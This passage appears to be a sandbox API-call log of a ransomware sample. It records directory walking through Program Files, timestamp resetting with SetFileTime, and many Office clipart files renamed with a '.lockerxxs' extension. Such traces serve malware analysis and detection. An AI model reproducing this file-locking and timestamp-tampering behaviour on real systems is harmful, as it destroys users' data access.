out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc388620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc388620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f70d8 [0060.166] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.166] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.166] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.166] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0060.166] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0060.166] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7118, dwReserved1=0x4f7113, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0060.167] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.168] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.168] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.169] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.169] CloseHandle (hObject=0x88) returned 1 [0060.172] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.172] CloseHandle (hObject=0x84) returned 1 [0060.174] lstrcmpA (lpString1=".", lpString2="SIGNUP") returned -1 [0060.174] lstrcmpA (lpString1="..", lpString2="SIGNUP") returned -1 [0060.174] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f1286, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0060.174] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.174] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.176] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.176] CloseHandle (hObject=0x88) returned 1 [0060.176] lstrcmpA (lpString1=".", lpString2="Microsoft Analysis Services") returned -1 [0060.177] lstrcmpA (lpString1="..", lpString2="Microsoft Analysis Services") returned -1 [0060.177] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc4df280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc4df280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f70f0 [0060.177] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.177] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.177] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.177] lstrcmpA (lpString1=".", lpString2="AS OLEDB") returned -1 [0060.177] lstrcmpA (lpString1="..", lpString2="AS OLEDB") returned -1 [0060.177] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7130, dwReserved1=0x4f712b, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0060.178] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.178] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.178] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.178] lstrcmpA (lpString1=".", lpString2="10") returned -1 [0060.178] lstrcmpA (lpString1="..", lpString2="10") returned -1 [0060.178] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f81c0 [0060.181] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.181] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.181] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.181] lstrcmpA (lpString1=".", lpString2="Cartridges") returned -1 [0060.181] lstrcmpA (lpString1="..", lpString2="Cartridges") returned -1 [0060.181] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8138 [0060.185] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.185] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.185] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.187] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.187] CloseHandle (hObject=0x90) returned 1 [0060.189] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.190] CloseHandle (hObject=0x8c) returned 1 [0060.190] lstrcmpA (lpString1=".", lpString2="Resources") returned -1 [0060.190] lstrcmpA (lpString1="..", lpString2="Resources") returned -1 [0060.190] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f82a2, cFileName=".", cAlternateFileName="")) returned 0x4f8138 [0060.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.191] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.191] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.191] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0060.191] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0060.191] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8178 [0060.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.194] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.194] CloseHandle (hObject=0x94) returned 1 [0060.196] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.196] CloseHandle (hObject=0x84) returned 1 [0060.196] lstrcmpA (lpString1=".", lpString2="Microsoft Office") returned -1 [0060.196] lstrcmpA (lpString1="..", lpString2="Microsoft Office") returned -1 [0060.196] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc3624c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3624c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f70d8 [0060.196] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.197] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.197] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7118, dwReserved1=0x4f7113, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0060.198] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0060.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.lockerxxs")) returned 1 [0060.347] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.lockerxxs")) returned 1 [0060.353] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.lockerxxs")) returned 1 [0060.357] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.lockerxxs")) returned 1 [0060.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.lockerxxs")) returned 1 [0060.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.lockerxxs")) returned 1 [0060.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.lockerxxs")) returned 1 [0060.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.lockerxxs")) returned 1 [0060.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.lockerxxs")) returned 1 [0060.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.lockerxxs")) returned 1 [0060.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.lockerxxs")) returned 1 [0060.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.lockerxxs")) returned 1 [0060.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.lockerxxs")) returned 1 [0060.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.lockerxxs")) returned 1 [0060.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.lockerxxs")) returned 1 [0060.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.lockerxxs")) returned 1 [0060.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.lockerxxs")) returned 1 [0060.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.lockerxxs")) returned 1 [0060.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.lockerxxs")) returned 1 [0060.447] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.lockerxxs")) returned 1 [0060.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.lockerxxs")) returned 1 [0060.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.lockerxxs")) returned 1 [0060.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.lockerxxs")) returned 1 [0060.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.lockerxxs")) returned 1 [0060.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.lockerxxs")) returned 1 [0060.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.lockerxxs")) returned 1 [0060.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.lockerxxs")) returned 1 [0060.512] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.lockerxxs")) returned 1 [0060.515] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.lockerxxs")) returned 1 [0060.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.lockerxxs")) returned 1 [0060.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.lockerxxs")) returned 1 [0060.524] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.lockerxxs")) returned 1 [0060.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.lockerxxs")) returned 1 [0060.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.lockerxxs")) returned 1 [0060.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.lockerxxs")) returned 1 [0060.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.lockerxxs")) returned 1 [0060.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.lockerxxs")) returned 1 [0060.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.lockerxxs")) returned 1 [0060.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft 